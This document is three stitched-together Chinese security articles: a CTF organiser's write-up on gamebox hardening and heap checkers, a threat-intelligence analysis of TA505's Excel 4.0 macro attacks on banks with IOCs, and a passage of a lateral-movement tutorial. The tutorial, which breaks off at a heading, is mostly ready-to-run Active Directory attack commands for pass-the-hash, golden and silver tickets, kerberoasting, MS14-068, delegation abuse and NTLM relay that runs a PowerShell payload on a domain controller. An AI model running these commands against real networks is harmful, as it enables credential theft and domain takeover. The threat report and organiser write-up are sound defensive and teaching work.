出题方面考虑到只有一个web题，为了保证题目的难度，特意选取一个难度较大的框架，使用的漏洞也基本以0day为主，预设了五个漏洞，包括一个任意文件读，三个任意文件写和一个无限制注入。比赛期间基本都被挖掘出来了，其中还有一个非预期的文件上传漏洞。但是由于出题人的经验不足，导致在checker的编写上出现了较大的问题，很多地方check不到位或是不合理，同时后期的思考中也发现了该题目其实某种程度上不太适合作为线下对抗赛的题目。
### xxxxxxxx
xxxxxxxx这道题的本意是想让大家通过越界读去获得信息，包括堆上的和tls段上面的，但是由于出题者的愚蠢导致了大家不好的体验（向大家抱歉）…大部分的人都是通过load(‘flag’)的变量报错读取a-f开头的flag的，这是因为在本地测试的时候生成的flag恰好是0-9开头的，会被当成是数字，没有报错。预期的解法应该是通过diff找到charAt的越界，结合garbage
collection不让load到heap上的flag
chunk被重新分配，最后读取flag。现场也有队伍是用预期的解法解出这道题目的。本来还有另外一个snprintf的栈溢出的，要通过分配适当大小的chunk使得memstr正好在tls的前面，但是由于用charAt泄露canary的时候会把它变成utf-8编码，当canary里面有badchar的时候输出全部都是bad，要爆一段时间才能跑出来，这在5分钟一轮的线下是一个不好的设计，于是直接放弃了它（洞还在，只是没法触发了）。
## 0x2 如何制作AD模式的gamebox
线下赛的竞赛平台中，部分公司提供的gamebox较为完善合理，部分公司提供的gamebox权限设置和防搅屎机制基本靠出题者自己折腾。为了给大家提供一个纯粹的漏洞挖掘、利用、修补、重放的AD竞赛，我们参考了一些文献资料，并向用过办赛经验的战队进行了请教，结合一些自己的理解，重新制作了gamebox，下面将制作方法开源。
1.准备并安装虚拟机：
强网杯使用ubuntuserver16.04×64进行安装，鉴于近期曝出的linux内核提权，我们对系统进行了更新和漏洞检查；
2.设置用户：
Root用户用于导调组进行竞赛维护，ctf用户给选手，problem用户用于启动题目。其中root用户和ctf用户设置密码，problem用户不用设置密码。
groupadd ctf
useradd -g ctf ctf
groupadd problem
useradd -g problem problem
需要给ctf用户sudo –u到problem的权限，方便选手对题目进行维护：
3.删除计划任务：
1. 1. 1. 1.
4.chroot与目录权限
chroot的想法源自清华刘一吨大佬的git，该git为提供线上赛现在最常用的docker。[https://github.com/Eadom/ctf_xinetd。](https://github.com/Eadom/ctf_xinetd%E3%80%82)
首先制作题目目录。目录整体如下：
problem目录中存放题目文件，题目文件权限和属主和problem目录一样，该目录为给ctf选手的目录，这个目录里他想干啥就干啥，不管。
flag要放在准备chroot后的根目录上，并且只让ctf和problem可读。
要把必要的lib和bin拷贝到准备chroot的目录下，比如为/home/ctf：
cp -R /lib* /home/ctf &&
cp -R /usr/lib* /home/ctf
mkdir /home/ctf/dev &&
mknod /home/ctf/dev/null c 1 3 &&
mknod /home/ctf/dev/zero c 1 5 &&
mknod /home/ctf/dev/random c 1 8 &&
mknod /home/ctf/dev/urandom c 1 9 &&
chmod 666 /home/ctf/dev/*
mkdir /home/ctf/bin &&
cp /bin/sh /home/ctf/bin &&
cp /bin/ls /home/ctf/bin &&
cp /bin/cat /home/ctf/bin
5.chroot与xinetd
然后就是使用xinetd结合chroot启动程序，我problem用户的uid和gid为1001，所以：
6.防搅屎的额外工作
首先获取sh后，所有的目录chroot后都没有写权限，而且可以使用的命令只有三个：
使用chroot+xinetd的方式的话可以有效地避免部分沙盒、木马等攻击，但是经过实际测试，forkbomb仍然可以使用，所以我们对sh文件进行了patch，阉割掉其所有的循环功能。
综上，基本gamebox制作完成，还有一些细节需要处理，这里不过多叙述
感谢大家的支持！
## 0x3 一种有效的堆check机制
### lowbits leak check
我们`Flappypig`战队经过探索，设计并实现了一种新颖的堆分配检查机制(lowbits leak
check),`可以检测修改预期堆分配结构使得漏洞利用失效的通用防御方法`，并应用到了本次强网杯线下赛的`pwn`类型题目的`checker`中,下面给大家介绍一下这种`checker`机制。
按照`linux`内存分配机制，在每个进程默认创建时会预先分配堆栈空间，默认堆栈空间的大小是4K(0x1000=4096),然后进程再分配空间是使用`malloc`对这`4k`大小进行管理，如果超过了`4k`再向内核申请。所以，在用户空间下，总堆块大小不超过`4k`的情况下，`malloc`返回的堆地址在`低12bit(0xfff)`是变化的，而前面的比特是相对不变(随着ASLR变化)的。
那么这就给了我们在`CTF线下赛`中一种`针对堆漏洞的Checker`的思路，我们在程序交互中预先在每次`malloc`后，把堆地址的`低12bit`输出。
然后正常设计堆漏洞(UAF、Double Free、off by
Null)，再写`Checker`脚本时，通过不断申请、释放不同大小的堆块，可以检查出选手对漏洞修补过程中，是否有`nop掉free函数或者改大malloc(size)`等破坏预期堆分配逻辑的操作。
举例分析:
强网杯-secular-checker脚本部分示例
cur=build(io,0x90,'an')
#print 'low_address->0x%03x'%(cur)
if cur!=0x070:
raise Exception("Heap_check error")
cur=build(io,0xa0,'bn',777)
print 'low_address->0x%03x'%(cur)
if cur!=0x130:
raise Exception("Heap_check error")
cur=build(io,0xf0,'cn')
print 'low_address->0x%03x'%(cur)
if cur!=0x200:
raise Exception("Heap_check error")
cur=build(io,0x100,'dn',777)
print 'low_address->0x%03x'%(cur)
if cur!=0x320:
raise Exception("Heap_check error")
cur=build(io,0x30,'dn')
print 'low_address->0x%03x'%(cur)
if cur!=0x450:
raise Exception("Heap_check error")
delete(io,2)
delete(io,3)
cur=build(io,0xa0,'dn',777)
print 'low_address->0x%03x'%(cur)
if cur!=0x200:
raise Exception("Heap_check error")
cur=build(io,0xf0,'dn',999)
print 'low_address->0x%03x'%(cur)
if cur!=0x490:
raise Exception("Heap_check error")
delete(io,1)
cur=build(io,0x90,'dn',999)
print 'low_address->0x%03x'%(cur)
if cur!=0x070:
raise Exception("Heap_check error")
magic(io,777)
cur=build(io,0x90,'an')
print 'low_address->0x%03x'%(cur)
if cur!=0x590:
raise Exception("Heap_check error")
可以看到脚本中间有一个地方是申请了`0xf0`大小的堆块，然后得到预期地址尾部应该是`0x200`,然后后面释放之后再次申请了`0xf0`大小的内存，所以预期情况下应该是会重新分配到`0x200`这个空闲的堆块上，如果选手在修补过程中，`nop`了`free`操作，那么分配不到`0x200`上，便可以判定`check
down`。本次线下赛，使用了这种`checker机制`，第一天查出了许多队伍使用`nop掉free`的套路，但是没有想到主办方还有这种sao操作，所以被判down了。
这种全新的方法可以用于日后的线下赛参考，借某大佬的评价全新的堆check方式会被大家广泛使用，线下赛不适宜出堆将成为过去时。
所以，以后大家还是好好针对漏洞点修补漏洞吧。 **`此处at某wings`**
## 0x4 基于水印的防作弊机制
本场比赛使用了一种适合AD的反作弊机制。可以检测到如下行为：
某个战队使用了其他战队的binary。
具体思想其实比较简单，就是给每个战队的binary上水印。因为时间仓促，水印上法比较简单，就是在5个不同的位置设置了使用aes加密的字符串。每个队伍每个题目的每个字符串全部使用队伍相关信息加密进行签名。
竞赛过程中，我们使用NPC主机作为水印checker，每隔五分钟通过paramiko使用scp去download所有战队的所有binary，主要实现两个目的：
1.通过size大小变化来推测是否使用了通防
2.检测所有队伍的binary中是否出现了其他队伍的水印
针对1，因为沙盒，ptrace，或者加段的通防修改幅度较大，因此通过size大小变化可以识别出那些可能有通防的binary。然后通过人工分析即可。
针对2，因为水印是用队伍信息签名的，因此在某战队的binary中出现其他战队的水印是不可能事件。所以一旦有队伍的binary出现了其他队伍的水印，那么证明是作弊行为，进行了binary的交换，可以实锤。设置5个水印的原因是怕队伍在patch的过程中破坏了水印，因此设置多个用于备份。
## 0x5 其他
因为每次使用春秋平台时，流量获取的体验很差，这次特别地进行了及时的流量给予，发现对一血队伍不太友好，听取了部分战队反馈的建议后，后续竞赛中应该适当对流量给予进行延迟。
另外依据部分大佬的反馈，CTF竞赛的AD模式自身上存在不足，Defcon也一直在改进AD模式，也希望去拉斯维加斯等国外参赛的大佬们将更多更好的竞赛模式引进国内，让我们学习下，否则Jeopardy模式其实是更好的线下赛模式选择。 | 社区文章 |
# TA505组织利用Excel 4.0宏针对银行机构的最新攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2018年12月，360威胁情报中心捕获到多个利用Excel 4.0宏针对银行机构的攻击样本。钓鱼文档为携带恶意Excel 4.0宏的Office
Excel文档，并通过它下载执行最终的后门程序。采用Excel
4.0宏有利于躲避安全软件的检测，对此我们曾做过相关的详细研究，相关报告可以参考：<https://ti.360.net/blog/articles/excel-macro-technology-to-evade-detection>。
360威胁情报中心经过溯源和关联后确认，这是TA505组织针对银行机构最新的攻击行动。并且基于对攻击者的画像，我们猜测TA505组织可能来自东欧地区以俄语为主要语言的国家。TA505组织由Proofpoint[1]在2017年9月首次命名，其相关活动可以追溯到2014年。该组织主要针对银行金融机构，采用大规模发送恶意邮件的方式进行攻击，并以传播Dridex、Locky等恶意样本而臭名昭著。这些年来，尽管已针对该组织采取了多次行动，比如通过打击Dridex[2][3]和Necurs等僵尸网络来削弱其影响，但都只起到了暂时性的效果[5][6][7]。
2018年3月，TA505组织被发现使用Necurs僵尸网络来传播FlawedAmmyy[8]远控后门程序。本月初，Proofpoint发表的另外一篇文章指出该组织使用的全新恶意软件，并将其命名为ServHelper[9]。360威胁情报中心此次捕获的后门与ServHelper非常相似，不过在入侵的过程中采用了更加难以检测的Excel
4.0宏。
样本在VirusTotal上的检测情况
## 时间线
360威胁情报中心整理了与TA505组织相关的时间线如下：
## 攻击过程
360威胁情报中心捕获到多个攻击不同银行机构的恶意邮件，包括标准银行（南非）、智利银行、Bank of Maharashtra（印度）、Banca
Fideuram私人银行（意大利）、Kotak Mahindra私人银行（印度）和RMB Private
Bank（南非）。通过对这些邮件的分析，我们发现攻击者使用通过VPS服务搭建的或疑似被攻陷的邮件服务器来发送恶意邮件。根据公开资料查询结果表明，其中部分邮件服务器疑似位于乌克兰、摩尔多瓦和俄罗斯。这里以发往标准银行的邮件为例，还原攻击的过程。
含有恶意Excel 4.0宏的文档作为附件被发送到目标邮箱。样例中的邮件看似来自光纤网络供应商（Hiawatha Broadband
Communications），其正文催促目标必须在当日内处理完毕那些未完成的支付交易。由于正文与目标的日常工作有较高的相关性，因此恶意附件容易被诱使打开：
Excel文档被打开后，其展示的迷惑性内容将误导用户启用宏功能，从而执行恶意的Excel 4.0宏代码：
恶意的Excel 4.0宏代码位于隐藏的表单中，以避免引起受害用户的注意。该隐藏表单的名字由俄语组成：
恶意的宏代码从hxxp://office365advance.com/update下载样本并执行，并同时试图打开记事本程序，以掩盖其背后的恶意行为：
## 样本分析
### Dropper（Update）
从office365advance.com下载的Update（MD5：53F7BE945D5755BB628DEECB71CDCBF2）是一个MSI文件，内含一个Nullsoft安装包。该文件有数字签名，不过目前该签名已被吊销：
Nullsoft安装包内含有两个文件，分别是后门程序（htpd.dat）和启动该后门的VBS脚本：
Nullsoft安装脚本在运行时，会把htpd.dat和rds.vbs释放到%temp% 目录，随后创建help.bat文件并写入“rundll32.exe
$TEMP\htpd.dat, bogus”：
随后执行rds.vbs 脚本，该脚本会运行help.bat 从而加载后门程序（htpd.dat）。
### Backdoor（htpd.dat）
htpd.dat（MD5：272C036924BC9B8F44D6158220303A23）是一个动态链接库文件，主要功能在导出函数“bogus”中实现：
当导出函数“bogus”被执行时，它会创建两个线程。其中一个用于同C&C服务器通信，另外一个负责处理从该服务器获取的远程指令。在通信的过程中该后门采用HTTPS，并硬编码“asdgdgYss455”到参数key中：
攻击者可以通过远程指令执行以下操作：
**命令** | **功能**
---|---
**shell** | 开启远程shell
**nop** | 保持同C&C服务器的连接
**slp** | 设置睡眠时间
**load** | 下载并执行EXE文件
**loaddll** | 下载并执行DLL文件
**selfkill** | 自删除
## 溯源与关联
360威胁情报中心通过对样本的详细分析后发现，此次攻击的幕后团伙是TA505组织，部分关联依据如下。
在捕获的相似后门中，样本回连的C&C服务器包括pointsoft[.]pw，这与Proofpoint[9]对TA505的描述一致。通过360威胁情报中心数据平台对C&C服务器进行查询，也成功关联到了TA505组织：
该后门采用HTTPS与C2通信，并设置参数key的值为“asdgdgYss455”，该特殊值同样被TA505组织使用过。另外，通信过程中参数名称和顺序也是相同的：
最后，后门指令和功能也与TA505使用的ServHelper RAT匹配。
### 攻击者画像
由于根据公开数据查询到的结果表明相关邮件服务器疑似位于乌克兰、摩尔多瓦和俄罗斯境内，邮件附件内隐藏的宏表单语言说明这些文档由俄语的Office软件创建，且该组织曾使用的Dridex恶意软件被溯源到东欧地区，因此我们猜测TA505组织可能来自东欧地区以俄语为主要语言的国家。
## 总结
TA505组织从被发现到现在已有近5年的时间，期间虽有多次针对该组织的打击行动，但可惜均未达到斩草除根的效果。尽管其发送的恶意邮件数量已有大幅下滑，但仍有一定的规模。另外这也不排除是其主动为之的策略，以避免被过度关注从而成为首要打击的对象。从捕获的样本来看，TA505的攻击目标不再局限于欧洲的银行机构，其重心似乎转向了南非、印度等发展中国家，而私人银行也成为其主要攻击对象。
从Dridex的复杂度、演化路径[7]及该组织曾使用的其它多类样本来看，TA505组织持续不断的在技术上投入以保证其攻击的有效性。本次捕获的后门更像是用于甄别受害者目标环境，并为后续攻击提供条件基础。随着攻击面的收敛，后续样本的捕获难度会不断加大。
相对于使用Office 0day，利用Excel
4.0宏需要更多的用户交互以完成攻击。虽然这会降低其攻击的成功率，但可以通过更有针对性的邮件内容和更具迷惑性的文档信息来弥补。此外，这类攻击具有很好的成本优势，因此仍被许多攻击组织大量采用。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行：
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
**Key String**
---
aSDGsdgo445
asdgdgYss455
**C2**
vesecase.com
afsssdrfrm.pw
pointsoft.pw
**Download URL**
hxxp://office365advance.com/update
hxxp://office365homepod.com/genhost
hxxp://add3565office.com/rstr
**Excel and eml samples**
9c35e9aa9255aa2214d704668b039ef6
44dad70d844f6696fc148a7330df4b21
fee0b31cc956f083221cb6e80735fcc5
4c400910031ee3f12d9958d749fa54d5
2e0d13266b45024153396f002e882f15
26f09267d0ec0d339e70561a610fb1fd
09e4f724e73fccc1f659b8a46bfa7184
18c2adfc214c5b20baf483d09c1e1824
8cd3b60b167de2897aa6abf75b643d48
2cb8e5d871f5d6c1a8d88b1fb7372eb0
e9130a2551dd030e3c0d7bb48544aaea
9b0cc257a245f04bcd3766750335ad0c
9888d1109d6d52e971a3a3177773efaa
be021b903653aa4b2d4b99f3dbc986f0
2036a9e088d16e8ac35614946034b1a5
ef5741c4b96ef9498357dc4d33498163
e84f6742f566ccaa285c4f2b8d20a77c
**Backdoor**
53F7BE945D5755BB628DEECB71CDCBF2
5B7244C47104F169B0840440CDEDE788
E00499E21F9DCF77FC990400B8B3C2B5
272C036924BC9B8F44D6158220303A23
C6774C1417BE2E8B7D14BAD13911D04B
cc29adb5b78300b0f17e566ad461b2c7
**数字签名**
Name: “VAL TRADEMARK TWO LIMITED”
Serial number:6e 91 95 0d d1 1f df 27 96 83 df b2 b4 9b 2f 47
Thumbprint:39 ca 0e 49 d4 01 77 4b 2b bf ea 16 27 60 7e 6e 6b dc 07 6f
Name: MASTER LIM LTD
Serial number:00 8e 3e 9a 2f e7 3c 91 98 5b 4f 90 d5 95 77 cd 6c
Thumbprint:26 0c 8d 47 00 3c a3 8a f0 54 53 f5 96 7a 8e 03 85 7f 04 88
## 参考链接
1. https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter
2. https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
3. https://www.justice.gov/opa/pr/bugat-botnet-administrator-arrested-and-malware-disabled
4. https://www.proofpoint.com/us/threat-insight/post/necurs-botnet-outage-crimps-dridex-and-locky-distribution
5. https://www.symantec.com/connect/blogs/dridex-financial-trojan-aggressively-spread-millions-spam-emails-each-day
6. https://www.symantec.com/connect/blogs/necurs-mass-mailing-botnet-returns-new-wave-spam-campaigns
7. https://securelist.com/dridex-a-history-of-evolution/78531/
8. https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware
9. https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
10. https://ti.360.net/ | 社区文章 |
# 手把手教你入门内网渗透之二
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
在上一篇文章中，我介绍了内网信息搜集，提权以及隧道搭建的有关内容，本文中，我将详细的描写内网横向移动的原理和方法。
PS：本文会用到之前文章中获取的信息，如有问题可以回头去查看：[文章1](https://www.anquanke.com/post/id/221264)
**本文顺序**
_Kerberos协议相关方式横向-》其他方式（漏洞）横向移动-》拿下域控导域hash-》读取到密码后尝试登录其他主机_
## 0x01 Krb相关横向移动
### 一、Kerberos协议
**krb简介**
Kerberos是20世纪80年代美国麻省理工学院开发的一种基于对称密码算法的网络认证协议，允许一个非安全的网络上的两台计算机交换加密消息互相证明他们的身份。
Kerberos阐述了一个这样的问题：假设有一个开放的分布环境，用户通过用户名和口令登陆到了工作站，之后用户可能希望通过网络访问各种远程资源，而这些资源需要认证用户的身份，用户通过与控制中心交互获取信任后得到访问资源的门票，通过门票来请求资源服务。服务器能够只对授权用户提供服务，并能鉴别服务请求的种类。
（上面看的模模糊糊的没关系，我将试着用最简单且易懂的方式描述它。）
**涉及角色和过程**
这一整个来来回回涉及的有三个角色：
1. 服务访问者client
2. 服务提供者server（或者AP接入点）
3. 密钥分发中心KDC（由两部分组成：Authentication Server[简称AS]和Ticket Granting Server[TGS]）
这一整个来来回回包含的有三个过程，六次请求/相应：
1. AS-req：client向KDC发起请求认证（准确来说是KDC中的AS，所以叫AS-request），发送自己使用Client hash加密的身份信息。
2. AS-rep：AS使用Client hash进行解密，若结果正确就返回用krbtgt hash加密的TGT票据（用于TGS-req），TGT里面包含PAC。
3. TGS-req：client使用刚刚获得的TGT向KDC中的TGS发送请求，说明自己想请求的资源。
4. TGS-rep：TGS使用krbtgt hash解密TGT，若结果正确，返回用服务器的hash加密的ST（server ticket），并不会判断client是否有权限访问，只要TGT正确即可。
5. AP_req：client拿着获得的ST去服务器请求资源。
6. AP_rep：server使用自己的hash解密ST，若解密正确，则拿着获取的PAC去访问KDC判断client是否有权限访问。KDC解密PAC后获取用户sid以及所在组的信息，并根据访问控制表（ACL）判断权限。若符合，server返回资源给client。
最后用一张图来总结：
**SPN、PAC以及ACL**
这里作为对krb认证过程的补充。
**服务主体名称SPN（ServicePrincipal Names）**
是服务实例（比如MySQL）的唯一标识，krb身份验证使用SPN将服务实例与服务登录帐户相关联，若在整个林或域中计算机上安装多个服务实例，则每个实例都必须具有自己的SPN。若想使用
Kerberos协议来认证服务，那么必须正确配置SPN。
SPN分为两种类型：一种是注册在活动目录的机器帐户(Computers)下，当一个服务的权限为Local System或Network
Service时，SPN注册在机器帐户(Computers)下。另一种是注册在活动目录的域用户帐户下，当一个服务的权限为一个域用户时，SPN注册在域用户帐户下。
**特权属性证书PAC（Privilege Attribute Certificate）**
PAC是微软为了解决域内不同权限的用户访问不同资源的问题。PAC中包含用户的sid和用户所在组，用于服务器向KDC确认访问者是否有权限访问相关资源。PAC对于client和服务器全程都是不可见的，只有KDC能够制作和查看PAC。
**访问控制列表ACL（Access Control List）的那些事**
Windows访问控制模型（Access Control Model）是Windows安全的基础组件，它由两部分：访问令牌（Access
Token）和安全描述符（Security Descriptor）组成，他们分别被访问者和被访问对象所持有。
其中访问令牌是与Windows的账户相互对相应的，当某一账户登录时，系统会生成此用户的访问令牌并分发给启动的进程，当账户通过某一进程访问某些对象或者执行某些系统管理相关的操作时，Windows会检查访问令牌与被访问对象所持有的安全描述符，来判断是否允许相关操作。
访问令牌中包含：用户标识符与用户所属组标识符，用户权限列表等信息，通过SID进行描述。
PS：安全标识符SID（Security
Identity）是Windows中每个账户和账户组都有的一个唯一的标识符，分为：内置sid和自动分配的sid。保证了角色（账户/账户组）的唯一性。形式：S-[修订级别]-[权值]-[标识符]
安全描述符中包含：拥有者的sids，以及访问控制列表（ACL）。
其中ACL又包含了：自主访问控制列表 DACL（Discretionary Access Control List）和系统访问控制列表
SACL（System Access Control List）。
其中DACL包含：零个或者多个访问控制项ACE。（通过一系列ACE定义了所有被允许或者禁止的安全对象的访问者。）
关于SACL：主要是用于系统审计，它的内容指定了当特定账户对这个对象执行特定操作时，记录到系统日志中。
### 二、AS-req
**pass the hash &pass the key**
原理：攻击者可以直接通过LM Hash和NTLM
Hash访问远程主机或服务，而不需要提供明文密码。在Windows系统中，通常使用NTLM身份认证，就是把明文密码加密后生成hash用来登录。如果加密方式是RC4，那么是pass
the hash；若加密方式为AES key则是pass the key。两者都需要获取ntlm hash。
pass the hash
使用mimikatz
privilege::debug
sekurlsa::logonpasswords //获取ntlm hash
sekurlsa::pth /user:administrator /domain:lce.com /ntlm:ccef208c6485269c20db2cad21734fe7 //pth
其他工具：powershell-Invoke-TheHash-master
其他工具：CrackMapExec网段批量pth
PS：
Pass the Hash with Remote Desktop：使用ntlm远程登陆桌面，前提是需要对方开启受限管理员模式。
sekurlsa::pth /user:administrator /domain:lce.com /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin" //Pass the Hash with Remote
pass the key
使用mimikatz
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:administrator /domain:lce.com /aes256:c4388a1fb9bd65a88343a32c09e53b
**域用户名枚举 &passwordspraying**
根据域用户登录返回信息可以判断是否存在这个用户，可以用来及逆行域用户名枚举；在有域用户的情况下，可以使用LDAP查询到域内用户，在上一篇文章中已经做过了。
passwordspraying密码喷洒，使用获取的密码爆破用户。
使用KerBrute进行用户枚举和密码喷洒
kerbrute_windows_amd64.exe userenum -d 域名 username.txt
kerbrute_windows_amd64.exe passwordspray -d 域名 username.txt 爆破密码
使用DomainPasswordSpray.ps1进行密码喷洒
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password admin.123 //自动成成当前域的用户列表，并使用密码去跑
Invoke-DomainPasswordSpray -Userlist username.txt -Domain lce.com -PasswordList .\password.txt -Outfile out.txt //指定用户列表和密码列表，并输出到指定文件
### 三、AS-rep
**AS-repRoasting**
对于域用户，如果设置了选项”Do not require Kerberos preauthentication”，此时向域控制器的88端口发送AS-req请求，对收到的AS-rep内容重新组合，能够拼接成”Kerberos 5 AS-REP etype
23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令。
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose //查找符合条件的用户
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl //导出可用用户hash
hashcat -m 18200 '获取的hash，拼接成hashcat能够识别的格式需要在$krb5asrep后面添加$23' password.lst -o found.txt --force //使用hashcat破解
**黄金票据**
AS-rep中AS返回给client的TGT中的encpart是使用krbtgt用户的hash进行加密的，所以如果我们获取了krbtgt的hash就可以伪造任意用户登录域控，虽然域内用户密码常会修改，但是krbtgt是很少修改的。
使用mimikatz
log "lsadump::dcsync /domain:lce.com /user:krbtgt" //导出krbtgt的hash，获取sid和aes256值
kerberos::golden /domain:lce.com /sid:--- /aes256:--- /user:god /ticket:gold.kirbi //生成gold.kirbi,金票据
kerberos::ptt gold.kirbi //导入金票据获得域控权限
### 四、TGS-rep
**pass the ticket**
**PAC与MS14-068**
是密钥分发中心（KDC）的Windows漏洞，也是域中最严重的漏洞之一。造成的原因是KDC无法正确检查Kerberos票证请求时附带的特权属性证书（PAC）中的签名是否有效，我们只需要把修改后的PAC进行MD5就可以得到新的校验和。所以它允许经过身份验证的用户在其Kerberos票证（TGT）中插入任意PAC（表示所有用户权限的结构）。用户可以通过提交具有改变的PAC的Kerberos
TGT来获得票证，使得域内任何一个普通用户，将自己提升至域管权限。
使用ms14-068利用工具
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 //得到.ccache文件
kerberos::purge //清除所有凭证
kerberos::list //查看当前凭证
kerberos::ptc 票据文件 //注入票据到内存，显示“Injecting ticket : OK”
PS：除了ms14-068.exe，也可以使用goldenPac.py，Pykek等工具
使用kekeo
tgt::ask /user:administrator /domain:lce.com /ntlm:xxxxxx
kerberos::ptt [email protected]
使用mimikatz
privilege::debug
sekurlsa::tickets /export //导出票据
kerberos::purge
kerberos::ptt 票据文件
**kerberoast**
原理：client使用TGT访问TGS来获取访问某一SPN服务的票据ST，此SPN在域中应该是唯一的，并且在用户或计算机帐户的servicePrincipalName字段中注册，client可以与TGS协商指定支持的Kerberos加密类型，这样就留下了隐患。TGS返回给client的ST使用了注册了所要求的SPN的帐户的NTLM哈希进行加密。我们就可以提取出加密的服务票证并进行破解，得到目标账户明文密码。
使用mimikatz
kerberos::ask /target:MySQL/win7.xie.com:3306 //请求服务票据
kerberos::list
kerberos::list /export //导出.kirbi的票据文件
hashcat64.exe -m 13100 hash.txt passwords.txt //离线解密
PS：除了使用mimikatz和hashcat以外，也可以使用Rubeus、Empire、msf等
**白银票据**
TGS-rep中TGS返回给client的ST中的encpart是使用服务的hash进行加密的，我们可以拿到服务的hash，就可以伪造访问任意用户的ST票据，但只能访问特定的服务。白银票据不带有KDC签名的PAC，因此目标主机如果验证KDC的PAC签名，那么将失去作用。
使用mimikatz
privilege::debug
sekurlsa::logonpasswords //导出机器hash
kerberos::golden /domain:lce.com /sid:S-1-5-2xxx /target:xxx /rc4:ntlmxxxxxxx /service:cifs /user:administrator /ptt //获取目标主机文件共享服务cifs
### 五、委派
在域中如果出现A使用Kerberos身份验证访问域中的服务B，而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派。
**非约束委派**
user会将从KDC处得到的TGT发送给访问的service1（可以是任意服务），service1拿到TGT之后可以通过TGT访问域内任意其他服务。
利用非约束委派是一种被动的方式，我们需要被害主机主动访问我们已经控制的一台域内主机上的服务。
Import-Module PowerView.ps1 //使用powerview
Get-NetUser -Unconstrained -Domain lce.com //查询设置了非约束委派的用户
Get-NetComputer -Unconstrained -Domain lce.com //查询设置了非约束委派的主机
把已经控制的主机用户设置为非约束委派，并且服务被其他主机访问的情况下才可继续利用
privilege::debug //使用mimikatz导出被害主机发送过来的TGT即可利用
sekurlsa::tickets /export
kerberos::ptt xxx.kirbi
**约束委派**
非约束委派非常不安全，微软发布了约束委派，包括一组S4U2Self（Service for User to Self）和S4U2Proxy（Service
forUser to
Proxy）的Kerberos协议扩展。S4U2Self让service1向KDC获取访问service1的ST1；S4U2Proxy让service1代表用户身份通过ST1获取ST2，并且不允许service1以用户的身份去访问其他服务。
约束委派的利用思想是自己伪装成service1，访问service2的服务。
Get-DomainUser -TrustedToAuth -Domain lce.com
Get-DomainComputer -TrustedToAuth -Domain lce.com
确认账号设置了约束委派。
tgt::ask /user:w7 /domain:lce.com /password:w7.admin /ticket:w7.kirbi //用kekeo请求用户TGT
tgs::s4u /tgt:TGT_filename /user:要伪造的用户名@域名 /service:伪造访问的服务名/主机的FQDN名称 //通过kekeo请求，S4U2Self获取到ST1以及S4U2Proxy获取到服务的ST
kerberos::ptt xxx.kirbi //用mimikatz将ST2导入即可
**基于资源的约束委派**
Windows Server
2012中引入了基于资源的约束委派，它与传统约束委派非常相似，但配置相反。此外，普通的约束委派的配置需要SeEnableDelegation权限，而基于资源的约束委派只需要LDAP权限就可以在用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为1的sid。
攻击利用：攻击者配置从服务A到服务B的基于资源的约束委派，之后调用s4u2self和s4u2proxy作为服务A，以获取特权用户对服务B的TGS，以破坏目标主机。
Rubeus.exe hash /user:用户名 /password:密码 /domain:lce.com 转为hash
配置从服务A到服务B的基于资源的约束委派
Rubeus.exe s4u /user:用户名$ /rc4:XXX /impersonateuser:administrator /msdsspn:cifs/目标主机 /ptt
## 0x02其他漏洞横向移动
### Net-ntlm-relay
LM-Hash：早期Windows使用的密码存储，若可用，可以从windows上的SAM数据库或域控制器上的NTDS数据库中获取。
NT-Hash：现代Windows系统上存储密码的方式，通常被称为NTLMhash。
Net-NTLM-hash：是基于用户的NT-hash值经过一定的算法产生的。
原理：在使用一些服务的过程中，需要带有Windows的自身的认证信息，其实就是Net-NTLM的Hash。我们可以截获Net-NTLM-hash，然后转发给真正的服务器，我们就可以通过认证。
使用Impcaket中的ntlmrelayx.py、empire和responder
思路：
1.诱导被害者发送Net-NTLMhash，并获取
2.重放攻击
步骤：
使用empire生成powershell恶意脚本
ntlmrelayx.py -t 目标ip（域控） -c '生成的powershell脚本内容' //开启中继，收到net-ntlm-hash后会自动relay到域控中
Responder.py -I eth0 -r -d –v //需要关闭responder的smb和http
目标主机执行net use \\whoami //会发送smb流量，攻击者收到会话
PS：除了上述方法外，还可以使用诸如MultiRelayx.py、Impacket中的smbrelayx.py、Metasploit中的smb_relay模块等方式获取被害者Net-NTLMhash，可以多多思考。
### Exchange SSRF
exchange存在ssrf漏洞也就是：CVE-2018-8581，自己使用http服务将自己的认证信息reply到域控的ldap中，之后修改ACL，获得dcsync的权限，dump出hash。
使用Exchange2domain.py
Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip //如果只需要dump下krbtgt则使用
### MS17-010、MS08-067等漏洞
直接使用exp或者msf内置的永恒之蓝等漏洞进行攻击，通过隧道打内网内机器。也可以找其他漏洞比如CVE-2019-0708是WindowsRDP的一个洞。
### 内网web服务漏洞
如果内网搭建了web服务，可以拿一些常用工具扫一扫。比如弱口令、未授权、RCE、反序列化等等。你懂的。需要web漏洞的也可以交流。
## 0x03 导域Hash
